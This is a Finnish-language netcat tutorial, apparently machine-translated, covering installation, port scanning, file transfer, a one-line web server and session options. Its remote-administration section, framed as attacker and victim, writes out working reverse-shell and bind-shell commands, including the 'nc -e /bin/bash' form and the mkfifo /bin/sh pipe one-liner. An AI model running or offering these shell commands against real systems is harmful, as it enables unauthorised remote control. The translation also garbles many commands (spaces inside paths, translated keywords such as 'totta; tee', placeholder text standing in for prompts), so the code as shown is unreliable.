Lyhyt ero netcat-perinteisen ja netcat-openbsd välillä
Netcatille on saatavana kaksi samanlaista pakettia, joiden välillä on pieni ero.
netcat-perinteinen sisältää ylimääräisen '-e' -vaihtoehdon, jota voidaan käyttää ohjelman sitomiseen (i.e bash) netcatin kanssa. Tämä ominaisuus on erittäin hyödyllinen etähallintatarkoituksiin.
netcat-openbsd on jonkin verran lisätukea IPv6: lle ja välityspalvelimille.
Netcatin asennus
Vaikka netcat on esiasennettu useimpiin Linux-jakeluihin, mutta jos ei, se voidaan asentaa helposti seuraavilla komennoilla.
Perinteiselle paketille,
[sähköposti suojattu]: ~ $ sudo apt-get install netcat-traditionalOpenbsd-versiolle,
[sähköposti suojattu]: ~ $ sudo apt-get install netcat-openbsdNetcat for Windows voidaan ladata täältä: https: // sourceforge.net / projektit / nc110 / tiedostot /.
Nyt tutkimme joitain mielenkiintoisia netcatin käyttötapauksia
Porttiskannaus netcatin avulla
Voit hakea avoimia portteja käyttämällä -z-vaihtoehtoa. Netcat yrittää muodostaa yhteyden jokaiseen porttiin lähettämättä tietoja tai erittäin rajoitettuja tietoja UDP-tapauksissa. Kirjoita seuraava
[sähköposti suojattu]: ~ $ nc -z -v hackme.org 80… Leikata…
hackme.org [217.78.1.155] 80 (http) auki
Voit etsiä porttialueita kirjoittamalla
[sähköposti suojattu]: ~ $ nc -z -nv 192.168.100.72 20-80(Tuntematon) [192.168.100.72] 80 (http) auki
(Tuntematon) [192.168.100.72] 22 (ssh) auki
Tiedostonsiirto netcatin kanssa
Toinen hyödyllinen netcatin käyttötapaus on tiedostojen siirto etätietokoneiden välillä. Voit lähettää tekstejä ja binaaritiedostoja tietokoneelta toiselle tietokoneelle. Yritämme lähettää tiedoston “tiedosto.pdf ”Linux-tietokoneesta Windows-tietokoneeseen [IP 192.168.100.72] Netcat esimerkkinä.
Kirjoita Windows-koneella (vastaanotin) seuraava
C: \ Käyttäjät> nc -nvlp 1337> -tiedosto.pdfKuunnellaan [0.0.0.0] (perhe 2, portti 1337)
Kirjoita Linux-koneelle (lähettäjä) seuraava
[sähköposti suojattu]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfYhteys 192: een.168.100.72 1337 -portti [tcp / *] onnistui!
Etähallinta netcatin kanssa
Yksi Netcatin parhaista käyttötapauksista on etähallinta, mikä tarkoittaa, että voit hallita jonkun toisen tietokonetta netcatin avulla. Netcat-traditional sisältää '-e' -vaihtoehdon, jota voidaan käyttää ohjelman sitomiseen (esim.e cmd.exe Windowsissa tai bash Linuxissa) portilla, mikä tarkoittaa, että netcat toimii kommunikaattorina ohjelman ja etätietokoneen välillä. Netcat vastaanottaa komentoja etätietokoneelta, suorittaa paikallisessa järjestelmässä ja lähettää tulokset takaisin etätietokoneelle. Tätä ominaisuutta käytetään laajalti haitallisiin tarkoituksiin, takaovien pitämiseen tietokoneissa ja palvelimissa. Tämä ominaisuus on saatavana vain perinteisessä netcat-versiossa, mutta pienellä temppulla netcat-openbsd: tä voidaan käyttää myös samaan tarkoitukseen. Voit hallita toisten tietokonetta kahdella tavalla.
Jonkin sisällä Käänteinen kuori hyökkääjä kuuntelee porttia ja odottaa yhteyden lähettämistä uhrikoneelta. Sitä käytetään, kun uhritietokone on NAT-takana tai sillä ei ole julkista IP-osoitetta.
Jos haluat saada käänteisen kuoren netcatin avulla, sinun on kuunneltava porttia netcatin avulla. Kirjoita seuraava kohta hyökkääjäkoneeseen,
[sähköposti suojattu]: ~ $ nc -nvlp 1337Kuunnellaan [0.0.0.0] (perhe 2, portti 1337)
Uhrin koneessa (jos netcat-perinteinen on asennettu)
// korvaa "/ bin / bash" sanoilla "cmd.exe ”Windows-käyttöjärjestelmässä
[sähköposti suojattu]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashSillä netcat-openbsd (missä -e-vaihtoehtoa ei tueta)
[sähköposti suojattu]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Vaikka a Sitova kuori hyökkääjä sitoo portin uhrikoneessa ja muodostaa yhteyden kyseiseen porttiin asiakaspistokkeen avulla. Sitä käytetään, kun hyökkääjän kone on NAT: n takana tai sillä ei ole julkista IP-osoitetta.
Kirjoita uhrin koneeseen
[sähköposti suojattu]: ~ $ nc -nlvp 1337 -e / bin / bashkuunnellaan [mitä tahansa] 1337…
Kirjoita nyt komento suoritettavaksi uhrikoneella
[sähköposti suojattu]: ~ $ nc -nv 127.0.0.1 1337Yhteys 127: een.0.0.1 1337-portti [tcp / *] onnistui!
$ id
uid = 1000 (azad) gid = 1000 (azad) ryhmää = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Yksinkertainen verkkopalvelin, joka käyttää netcatia
Voit myös tehdä toisen yksinkertaisen tempun käyttää netcatia minimaalisena yhden sivun verkkopalvelimena. Tämä web-palvelin olisi hyvin yksinkertainen ilman erityisiä määrityksiä, ja käytämme sitä lähettämään HTML-koodimme selaimelle.
[sähköposti suojattu]: ~ $ totta; tee echo -e "HTTP / 1.1 200 OK \ n \ n $ (kaiku "
Yksinkertainen verkkopalvelin, joka käyttää netcatia
")" | nc-nvlp 1337; tehtyKuunnellaan [0.0.0.0] (perhe 2, portti 1337)
Yritä nyt hakea verkkosivu kiharalla
[sähköposti suojattu]: ~ $ curl http: // 127.0.0.1: 1337 /Yksinkertainen verkkopalvelin, joka käyttää netcatia
Määritä aikakatkaisu netcat-istunnolle
Voit määrittää aikakatkaisun netcat-istunnolle käyttämällä “-w” -vaihtoehtoa. Netcat katkaisee istunnon automaattisesti määritetyn ajan kuluttua.
// -w [Aika sekunteina][sähköposti suojattu]: ~ $ nc -w 40 -nvlp 1337
Kuunnellaan [0.0.0.0] (perhe 2, portti 1234)
Jatka kuuntelua, vaikka asiakas sulkisi yhteyden
Normaalitilassa netcat-palvelin sammuu ja lopettaa portin kuuntelun, kun asiakas sulkee yhteyden. Voit pitää palvelimen yllä käyttämällä “-k” -vaihtoehtoa
[sähköposti suojattu]: ~ $ nc -k -nlvp 1234Kuunnellaan [0.0.0.0] (perhe 2, portti 1234)
Johtopäätös
Netcat on yksinkertainen mutta tehokas apuohjelma, jota voidaan käyttää moniin yksinkertaisiin päivittäisiin tehtäviin. Se on esiasennettu melkein kaikkiin UNIX-kaltaisiin käyttöjärjestelmiin, ja sitä voidaan käyttää erilaisiin tehtäviin, kuten kahden tietokoneen väliseen viestintään, tiedostojen siirtoon ja moniin muihin.